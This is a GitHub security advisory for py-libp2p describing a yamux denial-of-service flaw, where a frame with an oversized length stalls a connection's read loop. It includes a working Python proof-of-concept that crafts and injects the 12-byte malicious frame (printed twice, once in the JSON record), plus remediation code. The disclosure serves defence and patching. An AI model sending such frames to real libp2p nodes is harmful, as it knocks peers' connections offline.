GHSA-HMJ8-5XMH-5573
Vulnerability from github – Published: 2026-07-24 22:37 – Updated: 2026-07-24 22:37
VLAI
Summary
libp2p: yamux connection DoS via oversized data frame
Details
Summary
The yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim's yamux read loop to block indefinitely. This affects the default new_host() configuration and requires no special setup on either side.
Details
In libp2p/stream_muxer/yamux/yamux.py (lines 915 to 926), the handle_incoming() method dispatches on frame type. When a DATA frame arrives, it reads the body unconditionally:
elif typ == TYPE_DATA:
try:
data = (
await read_exactly(self.secured_conn, length)
if length > 0
else b""
)
The length field is taken directly from the wire-decoded frame header, a 32-bit unsigned integer with a maximum value of 4,294,967,295. There is no check that length fits within the stream's receive window (DEFAULT_WINDOW_SIZE = 256 * 1024 bytes). The body read also happens before the code checks whether the referenced stream_id even exists in self.streams (that check is at line 954), so any stream ID triggers the issue.
handle_incoming() itself is a single sequential loop with no timeout around the body read. Once read_exactly suspends waiting for data that never comes, the loop cannot process any subsequent frames. Every stream on that yamux connection stops working, and no exception is raised.
The same unguarded call appears in the SYN branch at lines 804 to 806, so a crafted SYN frame with a large length field triggers the same stall.
The yamux specification (section 3.3) explicitly requires the receiver to reset the stream if a sender transmits more data than the receive window allows. py-libp2p does not enforce this on the receiver side. All three comparable implementations do: go-yamux tracks recvWindow per stream and returns a SendWindowExceeded error on violation; rust-yamux validates frame length against the stream credit; js-libp2p yamux checks frame length against maxMessageSize.
PoC
The harness completes a normal noise handshake and yamux negotiation between two local hosts, confirms yamux is healthy with a pre-attack ping, then writes a single malicious frame directly to the attacker's secured connection. After a short pause, it attempts to open a new stream with a 3-second deadline. The stream open never completes.
File: test_poc.py
"""
author: @tahaafarooq
POC: yamux connection DoS via oversized data frame (connection DoS)
"""
import os
import secrets
import gc
import struct
import psutil
import trio
import multiaddr
from libp2p import new_host
from libp2p.crypto.ed25519 import create_new_key_pair
from libp2p.custom_types import TProtocol
from libp2p.peer.peerinfo import PeerInfo
from libp2p.stream_muxer.yamux.yamux import Yamux
LOOPBACK = multiaddr.Multiaddr("/ip4/127.0.0.1/tcp/0")
PING = TProtocol("/audit/ping/1.0.0")
YAMUX_HEADER_FORMAT = "!BBHII"
TYPE_DATA = 0x0
HUGE_LENGTH = 0xFFFF_FFFF # max uint32 — 4,294,967,295 bytes
def craft_malicious_frame(stream_id: int = 1) -> bytes:
"""
12-byte yamux DATA frame with flags=0 and length=4 GB.
The stream_id is irrelevant: yamux reads the body BEFORE checking
whether the stream exists.
"""
return struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, HUGE_LENGTH)
def _get_yamux(host, peer_id) -> Yamux | None:
swarm = host.get_network()
conns = swarm.connections.get(peer_id)
if conns is None:
return None
conn = conns[0] if isinstance(conns, list) else conns
mc = conn.muxed_conn
return mc if isinstance(mc, Yamux) else None
async def attack():
proc = psutil.Process(os.getpid())
rss0 = proc.memory_info().rss
v_kp = create_new_key_pair(secrets.token_bytes(32))
a_kp = create_new_key_pair(secrets.token_bytes(32))
# DEFAULT new_host() — noise + yamux — no explicit sec_opt or muxer_opt
victim = new_host(key_pair=v_kp)
attacker = new_host(key_pair=a_kp)
victim.set_stream_handler(PING, lambda s: s.close())
async with victim.run(listen_addrs=[LOOPBACK]):
vaddr = victim.get_addrs()[0]
assert "127.0.0.1" in str(vaddr), "SAFETY: non-loopback"
print(f"[*] Victim : {vaddr}")
print(f"[*] Config : DEFAULT (noise + yamux)")
async with attacker.run(listen_addrs=[LOOPBACK]):
await attacker.connect(PeerInfo(victim.get_id(), victim.get_addrs()))
await trio.sleep(0.2)
a_yamux = _get_yamux(attacker, victim.get_id())
v_yamux = _get_yamux(victim, attacker.get_id())
assert a_yamux and v_yamux, "yamux muxed_conn not found"
print(
f"[*] Muxer : attacker={type(a_yamux).__name__}, "
f"victim={type(v_yamux).__name__}"
)
# --- Pre-attack: confirm yamux is healthy ---
pre_stream = await attacker.new_stream(victim.get_id(), [PING])
await pre_stream.close()
print("[*] Pre-attack ping: OK (yamux live)")
# --- Inject malicious frame ---
frame = craft_malicious_frame(stream_id=1)
print(
f"[*] Injecting {len(frame)}-byte yamux frame: "
f"type=DATA flags=0x0 stream_id=1 length={HUGE_LENGTH:#010x} "
f"({HUGE_LENGTH:,} bytes)"
)
print(f"[*] Frame hex: {frame.hex()}")
# Write directly to the noise-encrypted secure conn.
# secured_conn.write() encrypts before sending; victim decrypts and
# sees the raw yamux frame bytes, which handle_incoming processes.
await a_yamux.secured_conn.write(frame)
await trio.sleep(0.2)
# Victim's handle_incoming has now read the 12-byte header, dispatched
# to `elif typ == TYPE_DATA:`, and entered read_exactly(conn, 4GB).
# --- Post-attack: try to use yamux ---
post_attack_succeeded = False
with trio.move_on_after(3.0):
try:
post_stream = await attacker.new_stream(victim.get_id(), [PING])
await post_stream.close()
post_attack_succeeded = True
except Exception as e:
print(f"[*] Post-attack new_stream error: {type(e).__name__}: {e}")
gc.collect()
rss1 = proc.memory_info().rss
print("\n=== RESULTS ===")
print(f"Injected frame (hex) : {frame.hex()}")
print(
f"Body-length field : {HUGE_LENGTH} bytes requested, 0 bytes sent"
)
print(f"Post-attack ping OK : {post_attack_succeeded}")
print(f"RSS delta : {(rss1 - rss0) / 1024:.1f} KiB")
yamux_stuck = not post_attack_succeeded
print(f"\nVictim yamux loop stuck: {yamux_stuck}")
if yamux_stuck:
print(
"[CONFIRMED] handle_incoming blocked - victim yamux dead for "
"this connection."
)
print(
"[IMPACT ] Single 12-byte write from any authenticated peer "
"(post-noise-handshake)\n"
" permanently stalls yamux for that connection.\n"
" Affects DEFAULT new_host() config - no mplex required.\n"
" No timeout, no max-length check, no exception."
)
else:
print("[NOT CONFIRMED] yamux responded post-attack.")
assert yamux_stuck, (
"Expected yamux to be stuck after injecting malicious DATA frame, "
"but connection remained functional."
)
def test_yamux_data_frame_stall():
trio.run(attack)
if __name__ == "__main__":
trio.run(attack)
python3 -m pytest test_poc.py::test_yamux_data_frame_stall -v
Malicious frame (12 bytes, hex): 00000000000000 01ffffffff
version = 0x00
type = 0x00 (DATA)
flags = 0x0000
stream_id= 0x00000001
length = 0xFFFFFFFF (4,294,967,295 bytes)
Output:
[*] Config : DEFAULT (noise + yamux)
[*] Pre-attack ping: OK (yamux live)
[*] Injecting 12-byte yamux frame: type=DATA flags=0x0 stream_id=1 length=0xffffffff
Victim yamux loop stuck: True
[CONFIRMED] handle_incoming blocked - victim yamux dead for this connection.
PASSED in ~3.8s
Impact
A single authenticated peer (one that has completed the noise handshake, which requires no credentials) can permanently freeze the yamux read loop for a given connection using 12 bytes of payload. All streams on that connection stop working. No exception is raised, no log entry is written, and no automatic recovery occurs.
This applies to the default new_host() configuration. Unlike a similar issue in the mplex muxer (which requires an explicit opt-in), every py-libp2p node using the standard setup is affected. At the default connection limit of 10,000 connections, an attacker running 10,000 peers can freeze all connections using roughly 120 KB of total traffic.
There is no confidentiality or integrity impact. The effect is limited to availability on the targeted yamux connection.
Remediation
1. Enforce the receive window on inbound DATA frames (primary fix)
Before calling read_exactly, reject frames whose declared length exceeds the negotiated receive window:
# libp2p/stream_muxer/yamux/yamux.py
MAX_YAMUX_FRAME = 256 * 1024 # matches DEFAULT_WINDOW_SIZE and go-yamux default
elif typ == TYPE_DATA:
if length > MAX_YAMUX_FRAME:
logger.warning(
f"yamux: oversized DATA frame length={length} > {MAX_YAMUX_FRAME}, sending RST"
)
rst_header = struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, FLAG_RST, stream_id, 0)
await self.secured_conn.write(rst_header)
continue # skip body read; loop processes next frame
data = await read_exactly(self.secured_conn, length) if length > 0 else b""
The same check should be applied to the SYN branch at lines 804 to 806.
2. Add a per-frame timeout in handle_incoming()
while not self.event_shutting_down.is_set():
try:
with trio.fail_after(60):
header = await read_exactly(self.secured_conn, HEADER_SIZE)
...
except trio.TooSlowError:
logger.warning("yamux: frame read timed out, closing connection")
self.event_shutting_down.set()
break
Option 1 eliminates the amplification entirely. Option 2 bounds the worst-case stall duration for any future oversized-read path that might be introduced.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "libp2p"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:37:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim\u0027s yamux read loop to block indefinitely. This affects the default `new_host()` configuration and requires no special setup on either side.\n\n### Details\nIn `libp2p/stream_muxer/yamux/yamux.py` (lines 915 to 926), the `handle_incoming()` method dispatches on frame type. When a DATA frame arrives, it reads the body unconditionally:\n\n```python\nelif typ == TYPE_DATA:\n try:\n data = (\n await read_exactly(self.secured_conn, length)\n if length \u003e 0\n else b\"\"\n )\n```\n\nThe `length` field is taken directly from the wire-decoded frame header, a 32-bit unsigned integer with a maximum value of 4,294,967,295. There is no check that `length` fits within the stream\u0027s receive window (`DEFAULT_WINDOW_SIZE = 256 * 1024` bytes). The body read also happens before the code checks whether the referenced `stream_id` even exists in `self.streams` (that check is at line 954), so any stream ID triggers the issue.\n\n`handle_incoming()` itself is a single sequential loop with no timeout around the body read. Once `read_exactly` suspends waiting for data that never comes, the loop cannot process any subsequent frames. Every stream on that yamux connection stops working, and no exception is raised.\n\nThe same unguarded call appears in the SYN branch at lines 804 to 806, so a crafted SYN frame with a large length field triggers the same stall.\n\nThe yamux specification (section 3.3) explicitly requires the receiver to reset the stream if a sender transmits more data than the receive window allows. py-libp2p does not enforce this on the receiver side. All three comparable implementations do: go-yamux tracks `recvWindow` per stream and returns a `SendWindowExceeded` error on violation; rust-yamux validates frame length against the stream credit; js-libp2p yamux checks frame length against `maxMessageSize`.\n\n### PoC\nThe harness completes a normal noise handshake and yamux negotiation between two local hosts, confirms yamux is healthy with a pre-attack ping, then writes a single malicious frame directly to the attacker\u0027s secured connection. After a short pause, it attempts to open a new stream with a 3-second deadline. The stream open never completes.\n\nFile: test_poc.py\n\n```python\n\"\"\"\nauthor: @tahaafarooq\nPOC: yamux connection DoS via oversized data frame (connection DoS)\n\"\"\"\nimport os\nimport secrets\nimport gc\nimport struct\n\nimport psutil\nimport trio\nimport multiaddr\n\nfrom libp2p import new_host\nfrom libp2p.crypto.ed25519 import create_new_key_pair\nfrom libp2p.custom_types import TProtocol\nfrom libp2p.peer.peerinfo import PeerInfo\nfrom libp2p.stream_muxer.yamux.yamux import Yamux\n\nLOOPBACK = multiaddr.Multiaddr(\"/ip4/127.0.0.1/tcp/0\")\nPING = TProtocol(\"/audit/ping/1.0.0\")\n\nYAMUX_HEADER_FORMAT = \"!BBHII\"\nTYPE_DATA = 0x0\nHUGE_LENGTH = 0xFFFF_FFFF # max uint32 \u2014 4,294,967,295 bytes\n\n\ndef craft_malicious_frame(stream_id: int = 1) -\u003e bytes:\n \"\"\"\n 12-byte yamux DATA frame with flags=0 and length=4 GB.\n The stream_id is irrelevant: yamux reads the body BEFORE checking\n whether the stream exists.\n \"\"\"\n return struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, HUGE_LENGTH)\n\n\ndef _get_yamux(host, peer_id) -\u003e Yamux | None:\n swarm = host.get_network()\n conns = swarm.connections.get(peer_id)\n if conns is None:\n return None\n conn = conns[0] if isinstance(conns, list) else conns\n mc = conn.muxed_conn\n return mc if isinstance(mc, Yamux) else None\n\n\nasync def attack():\n proc = psutil.Process(os.getpid())\n rss0 = proc.memory_info().rss\n\n v_kp = create_new_key_pair(secrets.token_bytes(32))\n a_kp = create_new_key_pair(secrets.token_bytes(32))\n\n # DEFAULT new_host() \u2014 noise + yamux \u2014 no explicit sec_opt or muxer_opt\n victim = new_host(key_pair=v_kp)\n attacker = new_host(key_pair=a_kp)\n\n victim.set_stream_handler(PING, lambda s: s.close())\n\n async with victim.run(listen_addrs=[LOOPBACK]):\n vaddr = victim.get_addrs()[0]\n assert \"127.0.0.1\" in str(vaddr), \"SAFETY: non-loopback\"\n print(f\"[*] Victim : {vaddr}\")\n print(f\"[*] Config : DEFAULT (noise + yamux)\")\n\n async with attacker.run(listen_addrs=[LOOPBACK]):\n await attacker.connect(PeerInfo(victim.get_id(), victim.get_addrs()))\n await trio.sleep(0.2)\n\n a_yamux = _get_yamux(attacker, victim.get_id())\n v_yamux = _get_yamux(victim, attacker.get_id())\n assert a_yamux and v_yamux, \"yamux muxed_conn not found\"\n print(\n f\"[*] Muxer : attacker={type(a_yamux).__name__}, \"\n f\"victim={type(v_yamux).__name__}\"\n )\n\n # --- Pre-attack: confirm yamux is healthy ---\n pre_stream = await attacker.new_stream(victim.get_id(), [PING])\n await pre_stream.close()\n print(\"[*] Pre-attack ping: OK (yamux live)\")\n\n # --- Inject malicious frame ---\n frame = craft_malicious_frame(stream_id=1)\n print(\n f\"[*] Injecting {len(frame)}-byte yamux frame: \"\n f\"type=DATA flags=0x0 stream_id=1 length={HUGE_LENGTH:#010x} \"\n f\"({HUGE_LENGTH:,} bytes)\"\n )\n print(f\"[*] Frame hex: {frame.hex()}\")\n\n # Write directly to the noise-encrypted secure conn.\n # secured_conn.write() encrypts before sending; victim decrypts and\n # sees the raw yamux frame bytes, which handle_incoming processes.\n await a_yamux.secured_conn.write(frame)\n await trio.sleep(0.2)\n # Victim\u0027s handle_incoming has now read the 12-byte header, dispatched\n # to `elif typ == TYPE_DATA:`, and entered read_exactly(conn, 4GB).\n\n # --- Post-attack: try to use yamux ---\n post_attack_succeeded = False\n\n with trio.move_on_after(3.0):\n try:\n post_stream = await attacker.new_stream(victim.get_id(), [PING])\n await post_stream.close()\n post_attack_succeeded = True\n except Exception as e:\n print(f\"[*] Post-attack new_stream error: {type(e).__name__}: {e}\")\n\n gc.collect()\n rss1 = proc.memory_info().rss\n\n print(\"\\n=== RESULTS ===\")\n print(f\"Injected frame (hex) : {frame.hex()}\")\n print(\n f\"Body-length field : {HUGE_LENGTH} bytes requested, 0 bytes sent\"\n )\n print(f\"Post-attack ping OK : {post_attack_succeeded}\")\n print(f\"RSS delta : {(rss1 - rss0) / 1024:.1f} KiB\")\n\n yamux_stuck = not post_attack_succeeded\n print(f\"\\nVictim yamux loop stuck: {yamux_stuck}\")\n\n if yamux_stuck:\n print(\n \"[CONFIRMED] handle_incoming blocked - victim yamux dead for \"\n \"this connection.\"\n )\n print(\n \"[IMPACT ] Single 12-byte write from any authenticated peer \"\n \"(post-noise-handshake)\\n\"\n \" permanently stalls yamux for that connection.\\n\"\n \" Affects DEFAULT new_host() config - no mplex required.\\n\"\n \" No timeout, no max-length check, no exception.\"\n )\n else:\n print(\"[NOT CONFIRMED] yamux responded post-attack.\")\n\n assert yamux_stuck, (\n \"Expected yamux to be stuck after injecting malicious DATA frame, \"\n \"but connection remained functional.\"\n )\n\n\ndef test_yamux_data_frame_stall():\n trio.run(attack)\n\n\nif __name__ == \"__main__\":\n trio.run(attack)\n```\n\n```\npython3 -m pytest test_poc.py::test_yamux_data_frame_stall -v\n```\n\nMalicious frame (12 bytes, hex): `00000000000000 01ffffffff`\n\n```\nversion = 0x00\ntype = 0x00 (DATA)\nflags = 0x0000\nstream_id= 0x00000001\nlength = 0xFFFFFFFF (4,294,967,295 bytes)\n```\n\nOutput:\n\n```\n[*] Config : DEFAULT (noise + yamux)\n[*] Pre-attack ping: OK (yamux live)\n[*] Injecting 12-byte yamux frame: type=DATA flags=0x0 stream_id=1 length=0xffffffff\nVictim yamux loop stuck: True\n[CONFIRMED] handle_incoming blocked - victim yamux dead for this connection.\nPASSED in ~3.8s\n```\n\n### Impact\nA single authenticated peer (one that has completed the noise handshake, which requires no credentials) can permanently freeze the yamux read loop for a given connection using 12 bytes of payload. All streams on that connection stop working. No exception is raised, no log entry is written, and no automatic recovery occurs.\n\nThis applies to the default `new_host()` configuration. Unlike a similar issue in the mplex muxer (which requires an explicit opt-in), every py-libp2p node using the standard setup is affected. At the default connection limit of 10,000 connections, an attacker running 10,000 peers can freeze all connections using roughly 120 KB of total traffic.\n\nThere is no confidentiality or integrity impact. The effect is limited to availability on the targeted yamux connection.\n\n### Remediation\n\n**1. Enforce the receive window on inbound DATA frames** (primary fix)\nBefore calling `read_exactly`, reject frames whose declared length exceeds the negotiated receive window:\n\n```python \n# libp2p/stream_muxer/yamux/yamux.py\n \nMAX_YAMUX_FRAME = 256 * 1024 # matches DEFAULT_WINDOW_SIZE and go-yamux default\n \nelif typ == TYPE_DATA:\n if length \u003e MAX_YAMUX_FRAME:\n logger.warning(\n f\"yamux: oversized DATA frame length={length} \u003e {MAX_YAMUX_FRAME}, sending RST\"\n )\n rst_header = struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, FLAG_RST, stream_id, 0)\n await self.secured_conn.write(rst_header)\n continue # skip body read; loop processes next frame\n data = await read_exactly(self.secured_conn, length) if length \u003e 0 else b\"\"\n```\n\nThe same check should be applied to the SYN branch at lines 804 to 806.\n\n**2. Add a per-frame timeout in `handle_incoming()`**\n\n```python\nwhile not self.event_shutting_down.is_set():\n try:\n with trio.fail_after(60):\n header = await read_exactly(self.secured_conn, HEADER_SIZE)\n ...\n except trio.TooSlowError:\n logger.warning(\"yamux: frame read timed out, closing connection\")\n self.event_shutting_down.set()\n break\n```\n\nOption 1 eliminates the amplification entirely. Option 2 bounds the worst-case stall duration for any future oversized-read path that might be introduced.",
"id": "GHSA-hmj8-5xmh-5573",
"modified": "2026-07-24T22:37:17Z",
"published": "2026-07-24T22:37:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/libp2p/py-libp2p/security/advisories/GHSA-hmj8-5xmh-5573"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/py-libp2p/commit/146ea87d1a20cc7dacf684ecf7c204543be04b37"
},
{
"type": "PACKAGE",
"url": "https://github.com/libp2p/py-libp2p"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "libp2p: yamux connection DoS via oversized data frame"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…